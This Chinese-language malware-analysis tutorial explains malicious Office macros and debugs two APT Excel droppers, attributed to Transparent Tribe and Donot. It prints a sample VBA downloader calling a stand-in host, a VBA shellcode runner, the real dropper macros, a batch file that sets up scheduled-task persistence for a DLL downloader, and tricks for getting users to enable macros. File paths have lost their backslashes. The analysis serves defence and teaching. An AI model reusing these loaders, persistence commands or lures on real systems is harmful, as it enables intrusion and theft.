0x00 前言
在之前的文章中,講述了幾個常見的惡意樣本的一些常規(guī)分析手法。主要使用的工具有exeinfo(查殼)、IDA(靜態(tài)分析)、od&xdbg32(動態(tài)調(diào)試)、Systrace&火絨劍(行為分析)等。從本小節(jié)開始,文章將講述不同種類的非PE樣本和一些更復(fù)雜的PE樣本如何調(diào)試和分析。關(guān)于非PE樣本的概述,在之前的文章中已經(jīng)進行了概要的介紹,目前來講,非PE樣本在攻擊鏈中往往屬于重要的部分。在本節(jié)中,筆者將詳細介紹關(guān)于office在類的非PE樣本的分析方法。
0x01 Office宏簡介
該部分的主要內(nèi)容來源于19年年底我看到的一個英文論文,原文鏈接暫時找不到了,后續(xù)如果找到了我會貼在評論中。
基于宏的攻擊活動
目前利用office宏進行攻擊應(yīng)該是一個比較主流的攻擊方式了,但是通常情況下,宏代碼并不能很好地實現(xiàn)所有的功能,更多的時候,宏代碼都是作為一個加在器或者下載器載攻擊中發(fā)揮作用的。有時候,宏代碼會直接訪問攻擊者的C2,下載惡意文件到本地運行。有時候,宏代碼會解密釋放出一個powershell代碼,再調(diào)用powershell腳本,通過powershell腳本去實現(xiàn)環(huán)境檢測、文件下載等功能。宏代碼基于的是VB的語法,如果沒有混淆的宏代碼閱讀起來倒是比較方便,但是現(xiàn)在的大多數(shù)宏樣本都會有混淆和一些反調(diào)試手法,所以在遇到各類宏代碼的時候也要根據(jù)情況去分析。
一些鐘愛office宏攻擊的家族
Emotet
Emotet是一個專注于銀行攻擊的木馬家族,該家族從2014年活躍至今,別是在2019年,每天Emotet都會在全球發(fā)送超過十萬封釣魚郵件進行攻擊。關(guān)于Emotet,是目前比較活躍的銀行木馬,該組織的攻擊樣本也比較有特色,之后有機會寫一篇文章對該家族的樣本進行一個完整的分析。
FTCODE
一款由宏作為載體,釋放powershell實現(xiàn)的勒索軟件,活躍至2019年。
Sandworm: BlackEnergy / Olympic Destroyer
sandworm每次攻擊的起始都是宏2015年和2016年兩次襲擊烏克蘭發(fā)電廠,導(dǎo)致停電。2018年攻擊平昌冬奧會。
Other
除此之外,還有像Dridex、Rovnix、Vawtrak、FIN4、Locky、APT32、TA505、Hancitor、Trickbot、FIN7、Buran、 Ursni、Gozi,、Dreambot、 TA2101/Maze ransomware、 等家族,都會在攻擊過程中使用到帶有惡意宏代碼的office文檔。
惡意宏如何運行
先來看一個典型的宏利用文檔打開的提示:

由于宏的危險性,office通常情況下默認是禁用宏執(zhí)行的,所以當(dāng)帶有宏的文件打開,就會詢問用戶是否開啟宏,為了讓用戶在不知情的情況下啟用宏,攻擊者也是想了很多方式,我大概遇見過這么幾種:1.在文檔中間顯示一個模糊的圖片,提示用戶啟用宏才能查看清晰圖片。2.在文檔中偽造按全的機構(gòu),比如偽造微軟,或者偽造一個殺軟的圖標(biāo),讓用戶相信這個文檔是安全的。3.與用戶交互,把宏代碼的執(zhí)行設(shè)置在用戶單擊了某個圖片或者按鈕則提示用戶啟用宏。
惡意宏代碼通常被用來做什么
一般來講,惡意宏代碼可以實現(xiàn)以下操作:Run Automatically 自動運行Download Files 下載文件CreateFiles 創(chuàng)建文件Execute a file 執(zhí)行、啟動文件Run a system command 執(zhí)行系統(tǒng)命令call any dll 調(diào)用任意dllInject Shellcode 注入shellcodeCall any ActiveXObkject 調(diào)用任意的ActiveXObjectSimulate Keystrokes 模擬用戶點擊…
需要注意的是,一個惡意程序可能完全由宏實現(xiàn),但是更多的情況下,宏用于加載或者下載其他惡意程序。所以對于一個未知的office文檔來講,啟用office的宏和打開未知的exe文件一樣危險:

一個簡單的VBA Downloader(下載者),有時候也稱為Dropper(加載器)示例:
private Declare Function URLDownloadToFileA Lib "urlmon"
(ByVak A AS Long,ByVal B As String ,
ByVal C As String ,ByVal D As Long ,
ByVal E As Long ) As Long
Sub Auto_Open()
Dim result As Long
fname = Environ("TEMP") & "agent.exe"
result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0)
Shell fname
End Sub
這里使用的URLDownloadToFileA來自于系統(tǒng)dll urlmon.dll在第六行定義了名為Auto_Open的函數(shù),該函數(shù)在文檔打開的時候會自動運行(如果允許文檔執(zhí)行宏)第八行滴位置,指明了下載文件的存放路徑和名稱第9行的地方調(diào)用了URLDownloadToFileA函數(shù),下載文件保存到本地第10行的位置執(zhí)行下載的payload
簡單的混淆、反調(diào)試技術(shù)
1.利用ActiveX觸發(fā)器一個典型的例子:利用InkPicture1_Painted2.隱藏數(shù)據(jù)3.用于隱藏數(shù)據(jù)的word文檔變量,文檔變量可以存儲多達64KB的數(shù)據(jù),隱藏在MS Word用戶界面中。4.通過CallByName混淆函數(shù)調(diào)用https://msdn.microsoft.com/en-us/library/office/gg278760.aspx5.使用WMI運行命令6.調(diào)用powershell7.運行VBScript或者Jscript,運行VBS/JS代碼而不將文件寫入磁盤可參考文檔:https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-6.0/aa227637(v=vs.60)?redirectedfrom=MSDN代碼示例:https://www.experts-exchange.com/questions/28190006/VBA-ScriptControl-to-run-JAVA-Script-Function.html8.通過API回調(diào)運行shellcode
一例通過VBA運行shellcode的實例:
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then
pos = i + 1
Else
pos = i * 2 + 1
End If
Value = Mid(shellCode, pos, 2)
byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub
源代碼來自:http://ropgadget.com/posts/abusing_win_functions.html代碼的前四行用于引用系統(tǒng)庫,調(diào)用系統(tǒng)API16行處是shellcode的十六進制編碼,在這個例子中功能是打開計算器。29行處是將shellcode的十六進制編碼轉(zhuǎn)換為二進制數(shù)據(jù)流36行處將shellcode copy到了buffer處38處執(zhí)行了shellcode
關(guān)于office的加密
在97到2003版本的時候,文件加密的概念還不流行,那個時候的宏代碼幾乎從來沒有加密過,2007版本之后,才開始通過加密的方式將VBA代碼保護起來分享兩個解密的工具:https://github.com/nolze/msoffcrypto-toolhttps://github.com/herumi/msoffice
宏代碼的分析工具
1.1. 首先可以使用VBA編輯器(比如在office文檔里面按alt + F11),通過VBA編輯器可以很方便的調(diào)試和跟蹤這里不得不提一下從VBA編輯器隱藏VBA代碼的技巧:https://github.com/outflanknl/EvilClippy
2.olevba:https://github.com/decalage2/oletools/wiki/olevba該工具可以有效的提取office文檔中的宏代碼,需要Python環(huán)境支持。

上面這張圖列舉了olevba所支持的類型,和一些值得關(guān)注的地方,比如自動觸發(fā)代碼、一些危險的關(guān)鍵詞(Downloads、File writes、Shell execution DLL calls等)、還有一些IOCs
當(dāng)然很多時候靜態(tài)分析不能解決問題,還是需要動態(tài)分析才能更好地了解惡意代碼的功能。這里分享一個軟件ViperMonkey:https://github.com/decalage2/ViperMonkey
運行結(jié)構(gòu)如下:

mraptor
mraptor是github上一個開源的宏代碼檢測項目https://github.com/decalage2/oletools/wiki/mraptor
大概介紹一下原理:mraptor有三個檢測標(biāo)準(zhǔn),分別是:A 自動執(zhí)行(觸發(fā)器)W 寫入文件系統(tǒng)或內(nèi)存X 在VBA上下文外執(zhí)行文件或任何payload當(dāng)某個office宏滿足了A條件,那么W和X只要滿足任意一條,則會被mraptor標(biāo)注為惡意。該項目依賴python環(huán)境,用法如下:
Usage: mraptor [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
-m, --matches Show matched strings.
An exit code is returned based on the analysis result:
- 0: No macro
- 1: Not MS Office
- 2: Macro OK
- 10: ERROR
- 20: SUSPICIOUS
如果要掃描單個文件,可以使用如下命令mraptro file.doc
0x02 TransparentTribe的Dropper樣本
樣本md5:bce8a8ea8d47951abffeec38fbeeeef1樣本App.any.run沙箱鏈接:https://app.any.run/tasks/d6d22f4e-0376-49f5-8480-d07489a4e03b/

且從any的沙箱中,我們可以看到,該樣本原始類型是xls。
我們將樣本下載到本地,然后添加xls后綴打開(本地測試環(huán)境為office2013)。

該樣本打開之后,沒有任何的信息,office官方彈框提示用戶選擇啟用/禁用宏。這里如果選擇禁用的話,那么后續(xù)文檔將顯示為空:

這是攻擊者一種迷惑用戶的手法,誘導(dǎo)用戶第二次重新打開并啟用宏:

翻譯后內(nèi)容大概如下:

翻譯文檔內(nèi)容的意義在于,通常來說,為了隱藏攻擊痕跡,攻擊者都會使用一個看起來正常的文檔以迷惑用戶。讓用戶以為打開的就是正常的文檔,當(dāng)用戶認定這是一個正常文檔,文檔中的內(nèi)容有”價值”時,往往就不會起疑心,木馬就能夠長時間的運行在用戶的計算機上。所以我們通過文檔的內(nèi)容,通常情況下就可以推測出受攻擊的目標(biāo)。可以在攻擊的背景分析中提供一些有用的信息。
我們從該樣本的文檔內(nèi)容中大概可以得知此次攻擊的目標(biāo)是國防部,文檔中提到了一個[email protected]的郵箱,我們通過對后面域名的查詢,基本可以確定該文檔是針對印度國防部的攻擊文檔:

由這個信息,我們也可以大概的對攻擊者進行一個猜測。由攻擊目標(biāo)為印度,根據(jù)已有的信息,我們可以找到一些針對印度的攻擊組織,如Confucius 、APT36(C-Major、Transparent Tribe)、GravityRAT等。
接下來我們看看具體的惡意宏代碼。
在打開的xls文檔中,安ALT + F11,即可打開宏窗口,紅框中的內(nèi)容即為該文檔的宏對象。

依次展開選項卡,可以看到有兩個對象有數(shù)據(jù),一個是名為UserForm1的窗體,一個是名為Module1的模塊

我們直接將鼠標(biāo)光標(biāo)定位到右邊的Module1模塊中,然后按下鍵盤的F8,開始調(diào)試。在通過office調(diào)試宏代碼時,調(diào)試的快捷鍵和od、x64dbg這種調(diào)試器有部分區(qū)別,具體如下:

這里F8類似于od中的F7,會逐語句執(zhí)行代碼,當(dāng)遇到函數(shù)調(diào)用時,F(xiàn)8會跟進到函數(shù)內(nèi)部。
逐過程Shift + F8相當(dāng)于od中的F8,遇到函數(shù)調(diào)用時,將會直接執(zhí)行完函數(shù)而不進入函數(shù)。
運行到光標(biāo)處 Ctrl + F8 相當(dāng)于od中的F4
此外,在宏調(diào)試器中,設(shè)置斷點是F9,運行程序是F5。所以我們之后在調(diào)試宏代碼時,我們也可以直接在某行代碼設(shè)置斷點,然后F5運行到斷點處。
我們這里直接F8就是在當(dāng)前的模塊窗口中,開始調(diào)試宏代碼,調(diào)試的方式是單步運行。
通常來說,F(xiàn)8運行之后,程序就會停在該模塊的入口點。標(biāo)黃顯示,并且在最下面的本地窗口中會顯示一些將要使用到的變量。

有時候不小心關(guān)閉了本地窗口,我們需要在視圖窗口中重新打開。

接下來我們來看看代碼,既然是調(diào)試VBA的代碼,我們需要先對VBA的語法有個認識。比如應(yīng)該知道Dim用于定義變量。在代碼最開始,程序定義了多個變量
Dim path_Aldi_file As String
Dim file_Aldi_name As String
Dim zip_Aldi_file As Variant
Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String
然后通過file_Aldi_name = “rlbwrarhsa”對file_Aldi_name進行了賦值。
通過fldr_Aldi_name = Environ$(“ALLUSERSPROFILE”) & “Tdlawis”對fldr_Aldi_name進行賦值。其中,Environ$(“ALLUSERSPROFILE”) 表示獲取%ALLUSERSPROFILE%環(huán)境變量,&符號表示拼接。所以該語句運行完之后,fldr_Aldi_name = %ALLUSERSPROFILE%Tdlawis當(dāng)然,我們也可以直接按F8單步往下走,在調(diào)試器中查看對應(yīng)的值,這是最快的方法。

接下來,程序通過VBA的Dir方法判斷上面的fldr_Aldi_name路徑是否存在,如果不存在則通過MkDir創(chuàng)建該路徑。
If Dir(fldr_Aldi_name, vbDirectory) = "" Then
MkDir (fldr_Aldi_name)
End If
Tdlawis路徑創(chuàng)建成功之后,程序?qū)ldrz_Aldi_name 重新賦值,并且通過同樣的手法嘗試創(chuàng)建%ALLUSERSPROFILE%Dlphaws路徑。
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"
If Dir(fldrz_Aldi_name, vbDirectory) = "" Then
MkDir (fldrz_Aldi_name)
End If
接下來程序通過zip_Aldi_file = fldrz_Aldi_name & “omthrpa.zip”聲明一個zip路徑,路徑應(yīng)該為%ALLUSERSPROFILE%Dlphawsomthrpa.zip
通過path_Aldi_file = fldr_Aldi_name & file_Aldi_name & “.exe”聲明一個path路徑,路徑應(yīng)該為:%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe

接下來,程序通過Application.OperatingSystem獲取當(dāng)前操作系統(tǒng)的版本并根據(jù)不同的情況進行不同的處理,如果當(dāng)前系統(tǒng)版本為6.02或6.03,程序?qū)@取UserForm1.TextBox2.Text的信息賦值給ar1Aldi。否則獲取UserForm1.TextBox1.Text的內(nèi)容賦值給ar1Aldi。
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then
ar1Aldi = Split(UserForm1.TextBox2.Text, ":")
Else
ar1Aldi = Split(UserForm1.TextBox1.Text, ":")
End If
關(guān)于獲取操作系統(tǒng)版本信息的文檔,可在這里找到。
操作系統(tǒng)判斷完成之后,程序就會將我們之前看到的窗體中的數(shù)據(jù)賦值給ar1Aldi變量:

然后通過一個for each循環(huán)對剛才賦值的ar1Aldi進行解密:
For Each vl In ar1Aldi
ReDim Preserve btsAldi(linAldi)
btsAldi(linAldi) = CByte(vl)
linAldi = linAldi + 1
Next
然后我們可以直接光標(biāo)定位到循環(huán)后面的代碼,按Ctrl + F8 跑完循環(huán)

這里我們可以看到,程序會通過二進制流的方式打開zip_Aldi_file,也就是先前定義的zip文件,然后將剛才的btsAldi進行寫入。
Open zip_Aldi_file For Binary Access Write As #2
Put #2, , btsAldi
Close #2

寫入成功之后,程序會嘗試將該zip包進行解壓。
If Len(Dir(path_Aldi_file)) = 0 Then
Call unAldizip(zip_Aldi_file, fldr_Aldi_name)
End If
解壓的文件是zip_Aldi_file,解壓的路徑是fldr_Aldi_name解壓成功后將會在fldr_Aldi_name目錄下出現(xiàn)目標(biāo)文件:

最后程序通過Shell path_Aldi_file, vbNormalNoFocus啟動該exe,程序即從xls文件成功轉(zhuǎn)入到了exe文件運行。由于該exe由C#編寫,是一個Crimson遠控,關(guān)于該類木馬的分析,將在后續(xù)的文章中進行介紹。
從這個樣本中,我們初步了解了office宏代碼的攻擊方式。1.誘導(dǎo)用戶啟用宏,誘導(dǎo)方式,如果不啟用宏,xls文檔打開之后將不現(xiàn)實任何內(nèi)容2.將預(yù)定義的zip數(shù)據(jù)流簡單轉(zhuǎn)換之后寫入到窗體中3.根據(jù)操作系統(tǒng)版本的不同,取窗體中不同的值4.將取出來的數(shù)據(jù)進行簡單變換之后還原為zip文件5.解壓zip文件得到一個Crimson遠控6.運行該遠控
0x03 donot惡意文檔分析
樣本md5:4428912f168f3f1f0554126de7b4ecedany沙箱連接為:https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/
同樣的,通過any沙箱,我們可以得知該樣本還是一個xls文檔,我們將樣本下載到本地并添加xls后綴打開。同樣的彈出了禁用宏的提示框:

啟用宏之后,程序看起來是報錯了

之前的經(jīng)驗告訴我們,這樣的彈框信不得,我們單擊確定之后,還是通過ALT + F11打開宏調(diào)試窗口,單擊左邊的對象時,發(fā)現(xiàn)該文檔有密碼保護:

通過之前介紹的工具,將密碼去除之后重新打開,得到對象列表如下:

我們通過觀察,可以得知關(guān)鍵的代碼在名為ThisWorkbook的對象中:

同樣的,我們對該段代碼進行調(diào)試分析。代碼開頭還是通過Dim定義了幾個變量,然后通過Environ獲取了環(huán)境變量APPDAT和TEMP的路徑分別賦值給Digital和requestDigital = Environ$(“APPDATA”)request = Environ$(“TEMP”)
接著通過Application.Wait Now + TimeValue(“0:00:03”)休眠3秒
休眠之后通過a = MsgBox(“Microsoft Excel has stopped working”, vbCritical, “Warning”)進行彈框,彈框內(nèi)容就是我們先前看到的提示框,這就是第二種迷惑用戶的手法。在上一個樣本中,惡意宏代碼運行之后,程序會顯示一個看起來正常的xls文檔以消除用戶的疑心。在本樣本中,惡意代碼運行之后,程序是通過彈框提示用戶文檔打開錯誤以消除用戶的疑心。兩種方法的目標(biāo)都在于,讓用戶誤以為,打開的文檔是沒有問題的。
彈框之后,程序會通過sunjava = “Scr” + “ipting.File” + “System” + “Object”Set digit = CreateObject(sunjava)創(chuàng)建一個Scripting.FileSystemObject對象
接著程序?qū)⑼ㄟ^
Sheet12.OLEObjects("Object 1").Copy
Sheet8.OLEObjects("Object 1").Copy
digit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbook
digit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook
分別將sheet中的數(shù)據(jù)拷貝到Digital,也就是%appdata%中并且命名為s和s.bat

然后通過https = Digital & “” & “s.bat”Call Shell(https, vbHide)拼接s.bat的路徑并且再次通過Shell指令運行。
至此宏代碼運行完成。
我們可以看到,在該樣本中,宏代碼很短,宏代碼的功能為1.彈框迷惑用戶2.釋放一個S文件,經(jīng)查看為一個PE文件3.釋放一個s.bat批處理文件4.調(diào)用執(zhí)行s.bat文件
到這里我們也可以猜測出,s.bat文件將用于調(diào)用執(zhí)行s文件。
我們查看一下s.bat的內(nèi)容:
echo off
md %USERPROFILE%InetLogsCust
md %USERPROFILE%InetLogsPool
md %USERPROFILE%CommonBuildOffice
md %USERPROFILE%FilesSharedWeb
md %USERPROFILE%ViewerInformationPolicy
attrib +a +h +s %USERPROFILE%Inet
attrib +a +h +s %USERPROFILE%Common
attrib +a +h +s %USERPROFILE%Files
attrib +a +h +s %USERPROFILE%Viewer
del /f %USERPROFILE%InetLogsPoolagnia
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 2
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagnia
schtasks /delete /tn Feed /f
schtasks /delete /tn Sys_Core /f
schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exe
schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"
move %AppData%s %USERPROFILE%ViewerInformationPolicy
ren %USERPROFILE%ViewerInformationPolicys sqmap.dll
del %0
bat文件的語法還是比較簡單明了的,通過bat的內(nèi)容,我們可以得知程序獲取了計算機的COMPUTERNAME和一個隨機值寫入到了%USERPROFILE%InetLogsPoolagnia,然后程序設(shè)置了兩個計劃任務(wù),并且將%appdata%下的s文件移動到了%USERPROFILE%ViewerInformationPolicys并重命名為sqmap.dll
計劃任務(wù)1:

計劃任務(wù)2:

我們查看計劃任務(wù)1所指定的目錄文件可以發(fā)現(xiàn)暫時是0kb

查看計劃任務(wù)2所指定的任務(wù),可以看到文件已經(jīng)成功移動過來:

通過hash查詢可以確定s和sqmap.dll是同一個文件:

且我們通過計劃任務(wù)2可以得知,這里是通過rundll32.exe 調(diào)用了這個名為sqlmap.dll的calldll方法。目前vt(2020-06-24)上關(guān)于sqlmap.dll檢出量為0:

我們可以對sqlmap.dll進行一個簡單的分析。首先通過IDA加載sqlmap.dll,我們可以得到PDB信息:C:UsersspartanDocumentsVisual Studio 2010new projectsfrontendReleasetest.pdb
該pdb以前未出現(xiàn)過,而且結(jié)合test.pdb的字眼,該樣本可能是攻擊者開發(fā)的測試版本。

calldll在導(dǎo)出表中

calldll函數(shù)體很簡單,就執(zhí)行來一個call sub_10001280 我們跟進到該函數(shù)。
sub_10001280 首先是通過strcpy復(fù)制了一個看起來像是加密字符串的東西到變量bbLorkybbYngxkjbb]khbbmgvjgz4k~k

該字符串暫時在google上沒有檢出:

回到代碼中,接下來程序會對上面的字符串進行解密:

調(diào)試器中直接在calldll函數(shù)這里設(shè)置eip然后運行:

F7跟進進來

成功解密之后發(fā)現(xiàn)就是先前看到的路徑

回到IDA中進行標(biāo)注后繼續(xù)往下看,成功解密之后,嘗試打開文件對象,打開失敗,則push16A26h然后執(zhí)行slepp,sleep之后調(diào)用sub_10001000,這里的sleep應(yīng)該是用于反沙箱的

sub_10001000的內(nèi)容非常明顯,是解密URL并請求,所以很明顯,sqlmap.dll是一個Download,比較直觀的C位代碼顯示:

根據(jù)之前看到的信息,可以猜測這里是解密了域名之后,下載文件保存到之前看到大小為0kb的路徑下,然后通過計劃任務(wù)持久化執(zhí)行。解密得到DNSresolve.live

該地址已經(jīng)跟donot關(guān)聯(lián)了起來

解析參數(shù)是

但是目前這個地址404了,不知道是不是我請求姿勢的問題

于是查詢了一下h6s87ehsci75sgats關(guān)鍵字:

發(fā)現(xiàn)沙箱和vt也是404 ,這里后續(xù)就斷了

加上header也是404

那么此次攻擊分析到這就沒有后續(xù)了,不知道是不是因為樣本曝光,攻擊者撤銷了后續(xù)下載樣本的原因。還是攻擊者已經(jīng)通過bat文件實現(xiàn)了本地持久化,所以故意暫時沒有開放目標(biāo)地址,防止分析人員,等熱度過去了之后,再放開這個地址。如果是后面這種情況,可以考慮寫腳本監(jiān)視這個地址,看看過段時間是否有返回。

專欄
內(nèi)網(wǎng)滲透基礎(chǔ)課程
作者:安界
99幣
1人已購
查看
0x04 總結(jié)
在本小節(jié)中,我們對office惡意宏代碼有了概要的了解并且通過兩個簡單的apt樣本進行了分析,我們可以看到,宏代碼在實際攻擊中使用是非常廣泛的,因為宏代碼嵌入在文檔中,是最容易和用戶進行交互的部分,也往往是攻擊者攻擊中的第一部分。在本小節(jié)中我們分析了兩個xls文檔的宏代碼,在下一小節(jié)我們將對帶有混淆和反調(diào)試的宏代碼進行調(diào)試和分析。
